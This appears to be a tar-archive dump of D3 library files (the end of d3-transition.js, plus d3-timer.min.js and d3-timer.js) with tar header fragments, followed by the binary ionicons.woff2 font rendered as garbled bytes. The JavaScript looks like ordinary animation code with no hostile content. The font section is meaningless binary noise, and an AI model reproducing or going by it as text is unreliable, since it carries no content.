      tween1 = (tween0 = tween).slice();
      for (var t = {name: name, value: value}, i = 0, n = tween1.length; i < n; ++i) {
        if (tween1[i].name === name) {
          tween1[i] = t;
          break;
        }
      }
      if (i === n) tween1.push(t);
    }

    schedule$$1.tween = tween1;
  };
}

function transition_tween(name, value) {
  var id = this._id;

  name += "";

  if (arguments.length < 2) {
    var tween = get(this.node(), id).tween;
    for (var i = 0, n = tween.length, t; i < n; ++i) {
      if ((t = tween[i]).name === name) {
        return t.value;
      }
    }
    return null;
  }

  return this.each((value == null ? tweenRemove : tweenFunction)(id, name, value));
}

function tweenValue(transition, name, value) {
  var id = transition._id;

  transition.each(function() {
    var schedule$$1 = set(this, id);
    (schedule$$1.value || (schedule$$1.value = {}))[name] = value.apply(this, arguments);
  });

  return function(node) {
    return get(node, id).value[name];
  };
}

function interpolate(a, b) {
  var c;
  return (typeof b === "number" ? d3Interpolate.interpolateNumber
      : b instanceof d3Color.color ? d3Interpolate.interpolateRgb
      : (c = d3Color.color(b)) ? (b = c, d3Interpolate.interpolateRgb)
      : d3Interpolate.interpolateString)(a, b);
}

function attrRemove(name) {
  return function() {
    this.removeAttribute(name);
  };
}

function attrRemoveNS(fullname) {
  return function() {
    this.removeAttributeNS(fullname.space, fullname.local);
  };
}

function attrConstant(name, interpolate$$1, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = this.getAttribute(name);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value1);
  };
}

function attrConstantNS(fullname, interpolate$$1, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = this.getAttributeNS(fullname.space, fullname.local);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value1);
  };
}

function attrFunction(name, interpolate$$1, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0, value1 = value(this);
    if (value1 == null) return void this.removeAttribute(name);
    value0 = this.getAttribute(name);
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value10 = value1);
  };
}

function attrFunctionNS(fullname, interpolate$$1, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0, value1 = value(this);
    if (value1 == null) return void this.removeAttributeNS(fullname.space, fullname.local);
    value0 = this.getAttributeNS(fullname.space, fullname.local);
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value10 = value1);
  };
}

function transition_attr(name, value) {
  var fullname = d3Selection.namespace(name), i = fullname === "transform" ? d3Interpolate.interpolateTransformSvg : interpolate;
  return this.attrTween(name, typeof value === "function"
      ? (fullname.local ? attrFunctionNS : attrFunction)(fullname, i, tweenValue(this, "attr." + name, value))
      : value == null ? (fullname.local ? attrRemoveNS : attrRemove)(fullname)
      : (fullname.local ? attrConstantNS : attrConstant)(fullname, i, value + ""));
}

function attrTweenNS(fullname, value) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.setAttributeNS(fullname.space, fullname.local, i(t));
    };
  }
  tween._value = value;
  return tween;
}

function attrTween(name, value) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.setAttribute(name, i(t));
    };
  }
  tween._value = value;
  return tween;
}

function transition_attrTween(name, value) {
  var key = "attr." + name;
  if (arguments.length < 2) return (key = this.tween(key)) && key._value;
  if (value == null) return this.tween(key, null);
  if (typeof value !== "function") throw new Error;
  var fullname = d3Selection.namespace(name);
  return this.tween(key, (fullname.local ? attrTweenNS : attrTween)(fullname, value));
}

function delayFunction(id, value) {
  return function() {
    init(this, id).delay = +value.apply(this, arguments);
  };
}

function delayConstant(id, value) {
  return value = +value, function() {
    init(this, id).delay = value;
  };
}

function transition_delay(value) {
  var id = this._id;

  return arguments.length
      ? this.each((typeof value === "function"
          ? delayFunction
          : delayConstant)(id, value))
      : get(this.node(), id).delay;
}

function durationFunction(id, value) {
  return function() {
    set(this, id).duration = +value.apply(this, arguments);
  };
}

function durationConstant(id, value) {
  return value = +value, function() {
    set(this, id).duration = value;
  };
}

function transition_duration(value) {
  var id = this._id;

  return arguments.length
      ? this.each((typeof value === "function"
          ? durationFunction
          : durationConstant)(id, value))
      : get(this.node(), id).duration;
}

function easeConstant(id, value) {
  if (typeof value !== "function") throw new Error;
  return function() {
    set(this, id).ease = value;
  };
}

function transition_ease(value) {
  var id = this._id;

  return arguments.length
      ? this.each(easeConstant(id, value))
      : get(this.node(), id).ease;
}

function transition_filter(match) {
  if (typeof match !== "function") match = d3Selection.matcher(match);

  for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) {
      if ((node = group[i]) && match.call(node, node.__data__, i, group)) {
        subgroup.push(node);
      }
    }
  }

  return new Transition(subgroups, this._parents, this._name, this._id);
}

function transition_merge(transition$$1) {
  if (transition$$1._id !== this._id) throw new Error;

  for (var groups0 = this._groups, groups1 = transition$$1._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) {
    for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) {
      if (node = group0[i] || group1[i]) {
        merge[i] = node;
      }
    }
  }

  for (; j < m0; ++j) {
    merges[j] = groups0[j];
  }

  return new Transition(merges, this._parents, this._name, this._id);
}

function start(name) {
  return (name + "").trim().split(/^|\s+/).every(function(t) {
    var i = t.indexOf(".");
    if (i >= 0) t = t.slice(0, i);
    return !t || t === "start";
  });
}

function onFunction(id, name, listener) {
  var on0, on1, sit = start(name) ? init : set;
  return function() {
    var schedule$$1 = sit(this, id),
        on = schedule$$1.on;

    // If this node shared a dispatch with the previous node,
    // just assign the updated shared dispatch and we’re done!
    // Otherwise, copy-on-write.
    if (on !== on0) (on1 = (on0 = on).copy()).on(name, listener);

    schedule$$1.on = on1;
  };
}

function transition_on(name, listener) {
  var id = this._id;

  return arguments.length < 2
      ? get(this.node(), id).on.on(name)
      : this.each(onFunction(id, name, listener));
}

function removeFunction(id) {
  return function() {
    var parent = this.parentNode;
    for (var i in this.__transition) if (+i !== id) return;
    if (parent) parent.removeChild(this);
  };
}

function transition_remove() {
  return this.on("end.remove", removeFunction(this._id));
}

function transition_select(select) {
  var name = this._name,
      id = this._id;

  if (typeof select !== "function") select = d3Selection.selector(select);

  for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) {
      if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) {
        if ("__data__" in node) subnode.__data__ = node.__data__;
        subgroup[i] = subnode;
        schedule(subgroup[i], name, id, i, subgroup, get(node, id));
      }
    }
  }

  return new Transition(subgroups, this._parents, name, id);
}

function transition_selectAll(select) {
  var name = this._name,
      id = this._id;

  if (typeof select !== "function") select = d3Selection.selectorAll(select);

  for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        for (var children = select.call(node, node.__data__, i, group), child, inherit = get(node, id), k = 0, l = children.length; k < l; ++k) {
          if (child = children[k]) {
            schedule(child, name, id, k, children, inherit);
          }
        }
        subgroups.push(children);
        parents.push(node);
      }
    }
  }

  return new Transition(subgroups, parents, name, id);
}

var Selection = d3Selection.selection.prototype.constructor;

function transition_selection() {
  return new Selection(this._groups, this._parents);
}

function styleRemove(name, interpolate$$1) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0 = d3Selection.style(this, name),
        value1 = (this.style.removeProperty(name), d3Selection.style(this, name));
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value10 = value1);
  };
}

function styleRemoveEnd(name) {
  return function() {
    this.style.removeProperty(name);
  };
}

function styleConstant(name, interpolate$$1, value1) {
  var value00,
      interpolate0;
  return function() {
    var value0 = d3Selection.style(this, name);
    return value0 === value1 ? null
        : value0 === value00 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value1);
  };
}

function styleFunction(name, interpolate$$1, value) {
  var value00,
      value10,
      interpolate0;
  return function() {
    var value0 = d3Selection.style(this, name),
        value1 = value(this);
    if (value1 == null) value1 = (this.style.removeProperty(name), d3Selection.style(this, name));
    return value0 === value1 ? null
        : value0 === value00 && value1 === value10 ? interpolate0
        : interpolate0 = interpolate$$1(value00 = value0, value10 = value1);
  };
}

function transition_style(name, value, priority) {
  var i = (name += "") === "transform" ? d3Interpolate.interpolateTransformCss : interpolate;
  return value == null ? this
          .styleTween(name, styleRemove(name, i))
          .on("end.style." + name, styleRemoveEnd(name))
      : this.styleTween(name, typeof value === "function"
          ? styleFunction(name, i, tweenValue(this, "style." + name, value))
          : styleConstant(name, i, value + ""), priority);
}

function styleTween(name, value, priority) {
  function tween() {
    var node = this, i = value.apply(node, arguments);
    return i && function(t) {
      node.style.setProperty(name, i(t), priority);
    };
  }
  tween._value = value;
  return tween;
}

function transition_styleTween(name, value, priority) {
  var key = "style." + (name += "");
  if (arguments.length < 2) return (key = this.tween(key)) && key._value;
  if (value == null) return this.tween(key, null);
  if (typeof value !== "function") throw new Error;
  return this.tween(key, styleTween(name, value, priority == null ? "" : priority));
}

function textConstant(value) {
  return function() {
    this.textContent = value;
  };
}

function textFunction(value) {
  return function() {
    var value1 = value(this);
    this.textContent = value1 == null ? "" : value1;
  };
}

function transition_text(value) {
  return this.tween("text", typeof value === "function"
      ? textFunction(tweenValue(this, "text", value))
      : textConstant(value == null ? "" : value + ""));
}

function transition_transition() {
  var name = this._name,
      id0 = this._id,
      id1 = newId();

  for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        var inherit = get(node, id0);
        schedule(node, name, id1, i, group, {
          time: inherit.time + inherit.delay + inherit.duration,
          delay: 0,
          duration: inherit.duration,
          ease: inherit.ease
        });
      }
    }
  }

  return new Transition(groups, this._parents, name, id1);
}

var id = 0;

function Transition(groups, parents, name, id) {
  this._groups = groups;
  this._parents = parents;
  this._name = name;
  this._id = id;
}

function transition(name) {
  return d3Selection.selection().transition(name);
}

function newId() {
  return ++id;
}

var selection_prototype = d3Selection.selection.prototype;

Transition.prototype = transition.prototype = {
  constructor: Transition,
  select: transition_select,
  selectAll: transition_selectAll,
  filter: transition_filter,
  merge: transition_merge,
  selection: transition_selection,
  transition: transition_transition,
  call: selection_prototype.call,
  nodes: selection_prototype.nodes,
  node: selection_prototype.node,
  size: selection_prototype.size,
  empty: selection_prototype.empty,
  each: selection_prototype.each,
  on: transition_on,
  attr: transition_attr,
  attrTween: transition_attrTween,
  style: transition_style,
  styleTween: transition_styleTween,
  text: transition_text,
  remove: transition_remove,
  tween: transition_tween,
  delay: transition_delay,
  duration: transition_duration,
  ease: transition_ease
};

var defaultTiming = {
  time: null, // Set on use.
  delay: 0,
  duration: 250,
  ease: d3Ease.easeCubicInOut
};

function inherit(node, id) {
  var timing;
  while (!(timing = node.__transition) || !(timing = timing[id])) {
    if (!(node = node.parentNode)) {
      return defaultTiming.time = d3Timer.now(), defaultTiming;
    }
  }
  return timing;
}

function selection_transition(name) {
  var id,
      timing;

  if (name instanceof Transition) {
    id = name._id, name = name._name;
  } else {
    id = newId(), (timing = defaultTiming).time = d3Timer.now(), name = name == null ? null : name + "";
  }

  for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) {
    for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) {
      if (node = group[i]) {
        schedule(node, name, id, i, group, timing || inherit(node, id));
      }
    }
  }

  return new Transition(groups, this._parents, name, id);
}

d3Selection.selection.prototype.interrupt = selection_interrupt;
d3Selection.selection.prototype.transition = selection_transition;

var root = [null];

function active(node, name) {
  var schedules = node.__transition,
      schedule$$1,
      i;

  if (schedules) {
    name = name == null ? null : name + "";
    for (i in schedules) {
      if ((schedule$$1 = schedules[i]).state > SCHEDULED && schedule$$1.name === name) {
        return new Transition([[node]], root, name, +i);
      }
    }
  }

  return null;
}

exports.transition = transition;
exports.active = active;
exports.interrupt = interrupt;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-timer.min.js000064400000003443151677432540007332 0ustar00// https://d3js.org/d3-timer/ v1.0.9 Copyright 2018 Mike Bostock
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n(t.d3=t.d3||{})}(this,function(t){"use strict";var n,e,o=0,i=0,r=0,u=1e3,l=0,c=0,a=0,f="object"==typeof performance&&performance.now?performance:Date,s="object"==typeof window&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(t){setTimeout(t,17)};function _(){return c||(s(m),c=f.now()+a)}function m(){c=0}function p(){this._call=this._time=this._next=null}function w(t,n,e){var o=new p;return o.restart(t,n,e),o}function d(){_(),++o;for(var t,e=n;e;)(t=c-e._time)>=0&&e._call.call(null,t),e=e._next;--o}function h(){c=(l=f.now())+a,o=i=0;try{d()}finally{o=0,function(){var t,o,i=n,r=1/0;for(;i;)i._call?(r>i._time&&(r=i._time),t=i,i=i._next):(o=i._next,i._next=null,i=t?t._next=o:n=o);e=t,v(r)}(),c=0}}function y(){var t=f.now(),n=t-l;n>u&&(a-=n,l=t)}function v(t){o||(i&&(i=clearTimeout(i)),t-c>24?(t<1/0&&(i=setTimeout(h,t-f.now()-a)),r&&(r=clearInterval(r))):(r||(l=f.now(),r=setInterval(y,u)),o=1,s(h)))}p.prototype=w.prototype={constructor:p,restart:function(t,o,i){if("function"!=typeof t)throw new TypeError("callback is not a function");i=(null==i?_():+i)+(null==o?0:+o),this._next||e===this||(e?e._next=this:n=this,e=this),this._call=t,this._time=i,v()},stop:function(){this._call&&(this._call=null,this._time=1/0,v())}},t.now=_,t.timer=w,t.timerFlush=d,t.timeout=function(t,n,e){var o=new p;return n=null==n?0:+n,o.restart(function(e){o.stop(),t(e+n)},n,e),o},t.interval=function(t,n,e){var o=new p,i=n;return null==n?(o.restart(t,n,e),o):(n=+n,e=null==e?_():+e,o.restart(function r(u){u+=i,o.restart(r,i+=n,e),t(u)},n,e),o)},Object.defineProperty(t,"__esModule",{value:!0})});
d3-timer.js000064400000010063151677432540006544 0ustar00// https://d3js.org/d3-timer/ v1.0.9 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

var frame = 0, // is an animation frame pending?
    timeout = 0, // is a timeout pending?
    interval = 0, // are any timers active?
    pokeDelay = 1000, // how frequently we check for clock skew
    taskHead,
    taskTail,
    clockLast = 0,
    clockNow = 0,
    clockSkew = 0,
    clock = typeof performance === "object" && performance.now ? performance : Date,
    setFrame = typeof window === "object" && window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : function(f) { setTimeout(f, 17); };

function now() {
  return clockNow || (setFrame(clearNow), clockNow = clock.now() + clockSkew);
}

function clearNow() {
  clockNow = 0;
}

function Timer() {
  this._call =
  this._time =
  this._next = null;
}

Timer.prototype = timer.prototype = {
  constructor: Timer,
  restart: function(callback, delay, time) {
    if (typeof callback !== "function") throw new TypeError("callback is not a function");
    time = (time == null ? now() : +time) + (delay == null ? 0 : +delay);
    if (!this._next && taskTail !== this) {
      if (taskTail) taskTail._next = this;
      else taskHead = this;
      taskTail = this;
    }
    this._call = callback;
    this._time = time;
    sleep();
  },
  stop: function() {
    if (this._call) {
      this._call = null;
      this._time = Infinity;
      sleep();
    }
  }
};

function timer(callback, delay, time) {
  var t = new Timer;
  t.restart(callback, delay, time);
  return t;
}

function timerFlush() {
  now(); // Get the current time, if not already set.
  ++frame; // Pretend we’ve set an alarm, if we haven’t already.
  var t = taskHead, e;
  while (t) {
    if ((e = clockNow - t._time) >= 0) t._call.call(null, e);
    t = t._next;
  }
  --frame;
}

function wake() {
  clockNow = (clockLast = clock.now()) + clockSkew;
  frame = timeout = 0;
  try {
    timerFlush();
  } finally {
    frame = 0;
    nap();
    clockNow = 0;
  }
}

function poke() {
  var now = clock.now(), delay = now - clockLast;
  if (delay > pokeDelay) clockSkew -= delay, clockLast = now;
}

function nap() {
  var t0, t1 = taskHead, t2, time = Infinity;
  while (t1) {
    if (t1._call) {
      if (time > t1._time) time = t1._time;
      t0 = t1, t1 = t1._next;
    } else {
      t2 = t1._next, t1._next = null;
      t1 = t0 ? t0._next = t2 : taskHead = t2;
    }
  }
  taskTail = t0;
  sleep(time);
}

function sleep(time) {
  if (frame) return; // Soonest alarm already set, or will be.
  if (timeout) timeout = clearTimeout(timeout);
  var delay = time - clockNow; // Strictly less than if we recomputed clockNow.
  if (delay > 24) {
    if (time < Infinity) timeout = setTimeout(wake, time - clock.now() - clockSkew);
    if (interval) interval = clearInterval(interval);
  } else {
    if (!interval) clockLast = clock.now(), interval = setInterval(poke, pokeDelay);
    frame = 1, setFrame(wake);
  }
}

function timeout$1(callback, delay, time) {
  var t = new Timer;
  delay = delay == null ? 0 : +delay;
  t.restart(function(elapsed) {
    t.stop();
    callback(elapsed + delay);
  }, delay, time);
  return t;
}

function interval$1(callback, delay, time) {
  var t = new Timer, total = delay;
  if (delay == null) return t.restart(callback, delay, time), t;
  delay = +delay, time = time == null ? now() : +time;
  t.restart(function tick(elapsed) {
    elapsed += total;
    t.restart(tick, total += delay, time);
    callback(elapsed);
  }, delay, time);
  return t;
}

exports.now = now;
exports.timer = timer;
exports.timerFlush = timerFlush;
exports.timeout = timeout$1;
exports.interval = interval$1;

Object.defineProperty(exports, '__esModule', { value: true });

})));
fonts/ionicons.woff2000064400000142710151701353760010500 0ustar00wOF2��
�H�l?FFTM`�J
��D��W6$�j�x ��X[QqE�}�����s����ҿww6{c	����&�14
3���:����9J-��T�n2|AE�J64'��G��Nvms�I�B��e��K�Tz�#���6�7�I|���ǜ�aο|M��W~���8>�}���ԁ[_+�Hwꢞ���$*Y	���%	�n<.���7.T�G=�0�Թ�|É���Ovtߴ-˃��0�F/e�aw��f����Y�q���QϷ�9"�9c �Ԃ��*stl2�3s�8�EJ�N�TK`�()�4���?�U`�z���N�C��w������?B�L�+�3]c)�r��BZ��Z�u-�'���v�a�uuX�Z�Z����{��Dpy��y��?�Z���l"{��Q�o93�X��
��BJtCdGPt+_ss��N\:��1<�#:nj�22���k�iBK9�%z��t��eͻB�Hr!!����-�ɘ�a��25�
�8q�8
����UEk[[�:v5�����.�6�ӊ)[�׵�?k��8�3�{bU�`7v%�`���Г�sV	-��b
���x��R���|�޽u�CP�
�5A)8ۼX����
�܀�7�r�@I3�Aa�fI �;���ڲ�;�����4�ƒ,�Wv�m�V�*l��Cp(	A��8�҆i��ϖy�q��J(ؙE�m��pTS��Nn��M�ػlpQ�����/�����:s��B
� �'b'���!tl��x��Ҫ�~U��c/�3n�DO�D�o׷�;`��%�d�G@����G�AbA�U�Qh!.�P�C^s�.��C�Ekʔ*��q3��������k�O���8�DY�GX��m���YW�6v��3�0�&��KޞZ;�c;\����"�"�
�Sd�"ِ�M���2H��.a�� ��83
3
��l�������l���n{����j�6Ha�{FsV�����M�a����S�M� E4H	�&W`��I@�<�:�IP� in�Z+���]z��/�$<��.���x@^Yi�X�\A���RG
��;��
{��n�Z ���Z���s/|��>��t��!�"""�B8�?]ę����^J��A�%�J~�l+����l�/`�;J�x�@w�㈚X+bH��;�o�'aN:�|3]�?u��^U^o�4s����G��G$T��m��|LAL3��zBj������;�i�2�6�Xp��o����޾8�Daqx�D������|�REc^ck����I�s�X�*R��]�Z��M�bاY(�#k}]�٣���������δ;�~�*���fw���nڮ�i^�k�X�5��Ŋ`8A2,�;��|�Zo�{��t�\_�������<D�Xx��n❪�?b�(��Y�oJ��4���W��ڊ��Em�z���EŃm��O�x�>�VpS�?�ۺ��8�M]�E��I��ؖi蚪Ȓ( �s,CS���~���6�C/��c(:��k�"KM8�n7��|6��n��j6��L:��4�]�2
Yz>���i������^o-3-b�{*�?��-�N�a�;�� �=���$z��'{���3�5�~�����y��Q���Y�$���M��>j抓Id-���٨e�m>�/&I�����Z��ؔ�]GO���9	��2���.�����c(�?��A��1�R�5"�f��6�	�
��"��+�\�AZ�M�]g�+��T߭���옎z�����ڈ����z-4(ր��g���P[l!~ۑn��`
Š�M��%'轟`UhR5<�3�B�,ra�>ذ}�ɧ��H�!'y �'O^�kq�Q���3�`�͞!��F�<7"��P�oЭ-N~�:�y5�ꄪl?Xc^�>LV�/X
��orYQ0�&^��R><�7ZK@����WD˦)�h�%�'���/�c�pe��kD�K�U?ȱ��VHT��]�D+��x|<���*��K\7"�Y4^غugo��*�NU���{�&�\����r[�J�¬��v�;b��+�Bp#�YC%�?��P8I|*6���j��yܓy��C���M�bێ�0a,u���h6�nq��5E��*|�@faVZ�j��ADA��rJ=�E�`\��-K�P��0��6�m�ؠ�.�>w����Za�����D�.c����gc�y��&��\�,�jԅ8�g���#��u��7z��%�"�FCw�c�}����_�f�}2lF/�!_r��m�V��C��kHGt�@K��qW�z�ng�&��3{>w���U�	����n�п�|=�"7b���:v�f�&�R`���͝�-O�y�À݇�Sp�ۼ3���sN0�8��؅s��g�	�2�)	�{�|0�k���BU����7�PK�	�Zk��h�E��5����b���o���g&]JS��������/��N�|�gm�	�R����U�>�}�d���ֶ�}�FY������M淳x�lS;㱫�p%/V�&qj쉿0)hI *K�f��R�h��*REZ�(��n���3c��<��Q�WJR�R_����ї��(v���_�}�Bd](%Hi�Rg¡���QOk$|���t�����{��P3#f/NEQ*���ʧ*�Z���^_�ULXxa�A�F"u@p���Ua#E,���f�a�O���/�/e�I9NW�2�����X�3�f(N��"�/LL�uپ����~���P��k̉�Q�ؓ�Пb��3*G�Ԉ!��&Qg�m)Ga̚�Cf�z�D���h]0<+�'Q-��kU���D��0��i�q�zwY�T�I}���;���:@mT��,�3�h%1	�b�J t�e�kC�R'ê���7��5�Y�����U�EN�$���hmT�6�E��uP��U�W��B�:|B�D�5��m@�|3��R{/�kY%訣�4.�%=~�5s�s�o��BW1�g�GK��߈���z�=_{�q4.u��[���^�v�kf���V�:`_�٬�Qw������ɯ=�6:����e*�YY2i�<X�ϱ��:W��t��!��y�������&g���bS�%o���k~��dY�����=	M��X��V�������M���mw�v�]��հ�,�x����� ���GS*�K����G%@���
2�~�{
�%���G�@pCy4E1z��N+c��K�Y<�R/f�:^�io[B:���5Cs���z��G�:�l?�õ5����U!7����
R�v}���4�b?t��IV��ʼn��-
���'��ɇ�u�:n@Y��X���&�(1��F��Tq���-��� *2�e��L������m�tNs'@�@A�^ax�>6��ބl�<�X���w�jU� �W��.F٣}�xm����_,L��rΫ$�̪i�B$Ո���MH�Gօi��|� 6�	E1eq ����s�t��$DH�u0C�\���@J�EM�'���	x|]͊ˈ��&�&g�kXz3VX_ؼ%q��I3�6�K(
�f��a�P�a�������1@�"B�*F'U�2�}!�2�͘@����x�26��~�'~>��/�=�7p���M̲6pbx����Z���P��iP���Uy�Co��f��o�}%Q�R�E\���ڀ���"�R�h�g��@y�b!�4���ñ��[(�>@U����m�^[�a]��ps�_�=N�E�XHAn*Cs��h�F���:�T{"f��U�n]PȄ&�b�B�Jƀ��R�� y쨢��%p��iR�'YZ�w=;q�r@�1d�^`+b'1�z�1n�&�_١P��LB9VŃ��!R�`�cbm�h#��{�Q��Ƥ4o`�#���X
�&�IJ�G�o�q��X;���8��[l�>W�b�]w�d�-���4d��;1P���´����7Ŕ��+J�%`��5B���Q�-�E�ݍZD��[A��R�$j�ؼkR�m�X1�b�$�2�@�ā&ޛ�%W�:o�5�u
�:l���@/N8�VRU��lS\�c/ڊмU�N���:�S��fS��'��n����pZ�f�!>A�kn�c��66"ų�7;Q�\G��_GGfg�YD��V�$S���d�4�c�3e�ϑ�r�?��Cz�y���BUL�!��ʧ�©�y7Y���Aʿ��=i��M�
X��V�S\X���E��i+���l(c�Jb[�l��)��"�g/5�M�,kb{����[XJ�^���w��~��-��6�b#�Ʋu]�Z��ńY���´�f�H�
�K
�`��X
u�s�E���c�ڜ�C���!��ȼ����Ncܸde�j�Qc�Ё�r`�UoMd
}�����Y�[�^�]>*Cv��`��:�Hy<“*�،�����zM��%�)q��r��*�*�~Uс���?�t5�E��?�q�}�Y}� ��q�d�]5��BQ]��R4��T�˪�H$E]X{cS��n��ǘn�~���Є�{cHg�P���#����).��9W�z5�ΚȀ
�|{��A��zk��i�k+W�/�)�b,JƊL��	pj����<��N���~�|����bB��q����9G�&5�*��Q�tV�a�&ABp/��rqg�5�D��R
�6YU��ciZ��-�����G�z��0����F��/$-��k�Y�9tiЊ�!*��X2��z��ZU�‹ɭ�XV<<�U�t[?Ȇz"��i��#��T�A�G_�-�,d���x"��=?`s��"1��UO@�8֚d‘��Q�K�(8^|�q��1!硠�u�nx+q9y�6b�W����ފ3��̗�g�`�����q�_\&NX?�M+�X�mq����K^�ߌ��~����%N��h�X>�8q�y䡲�X�J��&K���\�,In�VN�@(�m�MTP�T�td��E�
���Z�`*��@�E�#���0r_
�jC�J��}�g@#v�JӪxQ�zw
��{Z�:p�rh���6Ŋ��.��e�X�Z�����II�+Y�mZ[�q}P����^��hnv�"u�~
Z�1�ٹ��15�fW�N�ݝM�>�1ḡ�`~;g��u�0�RZ�͜�]��u^�h^.�m�"둻̨I����I^>��RV������luJ���z�O�(d��&�P�ܛn���c�5��)��~e����J��"�8�ӻN�1��ؾ�N.E��G��j�Y�'٠_g_��-Å%z~m��oUT�8���+�|�^P�R��]0f,�X*�
4o9��IcͪVU����D;dD�A��$Nd<������)�ꥬ:��R�!ESH�����J+G�NI�uDN#��n�(X��Q��r�O��an�S5�Zا�̧��ڼt��1H/@�U�Oo�=��G�7���d�i
@'L�
t�*b���z%��RU*��[Lz/nP��aKpe�ܰ:;�!(����#lBK�S�
�;�v��4���{����Ӯ�Nh4;����rf��|�-���Z2��4���rBw�P�^$�� i�B�UM���Y!x�w���&�-_���є~��{����z�?�/$���Rk`�k����I�aʣ]څ�Rns�%���,E�YH�K�MT�[i1��d�hS}�b��8��9�Q�W��2���v>�"q���M�Ѣe�bHB�xc$��#�g��b�w�.��d���r�L�R_�FvFPuw��h3�#��ǁ�`�(�.V�1ʹ�`5j�ڻ��U��ںjŠ�綶��r�l,�Q�����E�v��>w��A���r��ϐvɫ��LU�)�B`\)�愙.�4��w@Gy����M��-��޶L��bvu�4=m�	:������K*܄�b9)lݘ����eq�[��_ܙ��_�{,�y$[�e��h���r��zaݝ��)�_\m�}������lЩ�]�ضڤv�b��OΈ�8I
���B]���G}�_2�;�
U��:ǀ�꾯|k6�z�TΣ;W�nts�
�-C��^}Ո.Z�$�x0�Z�+n,µ�ʼn���i2���s�P�h�[�K��˯��L `c�t�E�"T�g��~#if$'C�3LJ<��U���|�K���F:^�l���B��(�5w���4m
m۰�{������ihØn� Bm�TMw��\�h_���K��U��d���lP�S�P�p"
͔�Dʲ�?�"���>��-�+HQ�2�f�愞�^l�>�R>���ߢ���C��:�8FTA�a�²��eN0L��	�F�&K�����7I,5I�&�p���lV*�(T���)u��f��u���:P�t�\b�&��y�,(V�e
7���ߣ-)LaA�Lq$'�򥲃I�˾D��t�T�#dBH��T�?H��͞H���H�^��s%��� ^��k���.�4z�
�^��� �iQ'<������l^1�����G���vq�����a�<Bf٦Q�6�=�c=�a�9�ɒ(�F�.�D�Z�)�A��ciXp���l_c�|Y�(�KX�!�J�/�VP�ݢ��J��~Jԡ�VV�n��ȹ!j��f�0-�c���mPVuBQ���.|�f_<���6?���*B���7Y#��b�›��v�W��@]���M���e�kQ۲V�
~CʭU�8c��靟��ғ �ȁ+���V%qab$����-D�&���*߸	����y�
xI����$�i��ǵBR��P�ɳ�����lC����G����燜����,(�ŻT�yD�2�v��-b)�KM5A�EF�}���$���Z�?3��z�u�3�y�n�``�K�ͷ��`��Ȟ�uQ�����9�q�KO�W^��a���
��[� �
P�Peb�q�[X%�,*%�Cu��v/��G�_8�Q�M����a�?���I�W)��Yq�>1'B�$ZB�'�{�g�D����Ǘ�b���R�t\S�X�ܩ�k�ujUo���Xz����a�n��{s[��΁��p�V0��oOv�W�=i~�A��x�;b����<i�$�Y�e|�\%$T3���kh�Q:7�o$��<U���Qztz.�j�1]z�&���|�w�υ���t<8S|r�H�U&T���ߠ���3_��}�>��6����<�J���HKRVK��B��M��P��	^�}?��r��Dq.���Q��lN2��ȣĪ���R!���]�F}a�5�CEO�}W���Z���k·o$s}�/TT;|R4Hrg���H�IȬ�
�����
c��܂)���4���{U�Ҟw�d�-F-tǀ�76ȃ�,ޡN�����f��ݹ��
nj񭕀KkX��OgOo�O��>h�[�?�[P��j?�[К��e��>�B����m'焇��je1\z�a��L)�}���C7
�72���mT
c=�zj�g�#�;���T�����Aj�1K!�+�(F��������� �D�z8*�Sev�O�Ų\�_��H�|Ma�;�A�k|��W~[=A�H��z)OH�Vi��!��k��<m=�h�lkU�n��"�ﴊ�l��Ew7b4�}�1=��@^x�nbKM)���8���'Y�siw?�O�����o7�D�ψ�9�d�I���,Uojf��AbT�awUʏ
�F�*�d8/��I���%�x%���$g�.�;��DUj���崐�Xwpt��S�.wC��F��kQ�+đ�l�[.�����:�E�DK��υ���`�q®��A�rVt��l2�l����W�{�|��o�e6��[���^g�
